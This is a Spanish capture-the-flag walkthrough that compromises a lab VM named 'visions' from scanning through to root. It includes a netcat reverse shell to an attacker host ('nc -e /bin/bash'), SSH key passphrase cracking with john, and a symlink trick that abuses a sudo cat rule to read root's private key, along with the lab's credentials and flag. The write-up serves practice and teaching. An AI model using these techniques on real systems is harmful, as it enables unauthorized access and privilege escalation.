Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-12 03:51 EDT
Nmap scan report for 192.168.5.14
Host is up (0.00094s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 85:d0:93:ff:b6:be:e8:48:a9:2c:86:4c:b6:84:1f:85 (RSA)
| 256 5d:fb:77:a5:d3:34:4c:46:96:b6:28:a2:6b:9f:74:de (ECDSA)
|_ 256 76:3a:c5:88:89:f2:ab:82:05:80:80:f9:6c:3b:20:9d (ED25519)
80/tcp open http nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:08:FB:97 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.77 seconds
Veremos que hay un puerto 80 en el que hay alojada una pagina web, si entramos dentro veremos simplemente una pagina en blanco vista por fuera, vamos a realizar un poco de fuzzing a ver que nos encontramos.
Si lanzamos un curl para ver el codigo de la pagina veremos lo siguiente:
curl http://<IP>/
Info:
<!--
Only those that can see the invisible can do the imposible.
You have to be able to see what doesnt exist.
Only those that can see the invisible being able to see whats not there.
-alicia -->
<img src="white.png">
Vemos que hay un nombre de usuario llamado alicia y despues una imagen, vamos a probar a descargarnos la imagen y ver si tiene metadatos interesantes.
curl -O http://<IP>/white.png
Escalate user alicia
exiftool
exiftool white.png
Info:
ExifTool Version Number : 13.10
File Name : white.png
Directory : .
File Size : 13 kB
File Modification Date/Time : 2025:05:12 03:53:56-04:00
File Access Date/Time : 2025:05:12 03:53:56-04:00
File Inode Change Date/Time : 2025:05:12 03:53:56-04:00
File Permissions : -rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 1920
Image Height : 1080
Bit Depth : 8
Color Type : RGB with Alpha
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Background Color : 255 255 255
Pixels Per Unit X : 11811
Pixels Per Unit Y : 11811
Pixel Units : meters
Modify Date : 2021:04:19 08:26:43
Comment : pw:ihaveadream
Image Size : 1920x1080
Megapixels : 2.1
Vemos una seccion bastante interesante que es la del Comment veremos lo que parece ser una password, por lo que vamos a probarla como el usuario alicia mediante SSH.
SSH
ssh alicia@<IP>
Metemos como contraseña ihaveadream y veremos que estamos dentro.
Escalate user emma
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for alicia on visions:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User alicia may run the following commands on visions:
(emma) NOPASSWD: /usr/bin/nc
Veremos que podemos ejecutar el binario nc como el usuario emma por lo que haremos lo siguiente:
RHOST=<IP_ATTACKER>
RPORT=<PORT>
sudo -u emma nc -e /bin/bash $RHOST $RPORT
Antes de enviar el comando nos pondremos a la escucha:
nc -lvnp <IP>
Ahora si enviaremos el comando y volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.4] from (UNKNOWN) [192.168.5.14] 45974
whoami
emma
Veremos que ha funcionado, por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user sophia
Despues de un rato buscando, si volvemos a la imagen que nos descargamos de white.png y modificamos las curvas de color de dicha imagen, vamos a ver que obtenermos una contraseña secreta, primero instalaremos la herramienta de gimp.
apt install gimp
Despues abriremos con la herramienta la imagen.
gimp white.png
Una vez echo eso, nos iremos a Colors -> Curves y dentro de esa seccion tiramos del grafico un poco a la derecha, con esto podremos ver la palabra secreta.
User: sophia
Pass: seemstobeimpossible
Vamos a probarla con dicho usuario, si nos volvemos a la maquina victima y hacemos lo siguiente:
su sophia
Metemos como contraseña seemstobeimpossible y veremos que seremos dicho usuario, por lo que leeremos la flag del usuario.
user.txt
hmvicanseeforever
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for sophia on visions:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sophia may run the following commands on visions:
(ALL : ALL) NOPASSWD: /usr/bin/cat /home/isabella/.invisible
Vemos que podemos leer como el usuario root el archivo llamado .invisible por lo que vamos hacerlo.
Vemos que obtenemos una id_rsa como la hemos podido leer como el usuario root vamos a probar a utilizarla con dicho usuario por SSH.
nano id_rsa
#Dentro del nano
<PEGAMOS_ID_RSA>
Lo guardamos y establecemos los permisos necesarios, para dicho archivo.
ssh -i id_rsa root@<IP>
Veremos que nos pide una contraseña, si probamos con el usuario isabella veremos que nos pide la contraseña de la clave PEM por lo que vamos a probar a ver si pudieramos crackear la contraseña de la clave PEM con john.
ssh2john id_rsa > hash.id_rsa
john --wordlist=<WORDLIST> hash.id_rsa
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
invisible (id_rsa)
1g 0:00:02:13 DONE (2025-05-12 04:26) 0.007488g/s 84.83p/s 84.83c/s 84.83C/s merda..vivalabam
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Veremos que hemos obtenido la contraseña, por lo que nos conectaremos por SSH mediante dicha contraseña como el usuario isabella.
ssh -i id_rsa isabella@<IP>
Metemos como contraseña invisible y veremos que estaremos dentro, acordemonos de que podemos leer como root el archivo .invisible por lo que vamos a eliminar dicho archivo y vamos a crear un enlace simbolico a la id_rsa del usuario root.
rm .invisible
ln -s /root/.ssh/id_rsa .invisible
Ahora si nos vamos al otro usuario con el que podemos leer como root dicho archivo.
Aqui podremos ver que esta es la id_rsa del usuario root ya que hemos creado un enlace simbolico hacia dicha carpeta.
nano id_rsa
#Dentro del nano
<ID_RSA_ROOT>
Lo guardamos y establecemos los permisos necesarios, para que se comporte como una id_rsa.
chmod 600 id_rsa
Ahora nos conectaremos por SSH con el usuario root.
ssh -i id_rsa root<IP>
Info:
Linux visions 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon May 12 04:40:27 2025 from 192.168.5.4
root@visions:~# whoami
root
Con esto veremos que seremos el usuario root, por lo que leeremos la flag de root.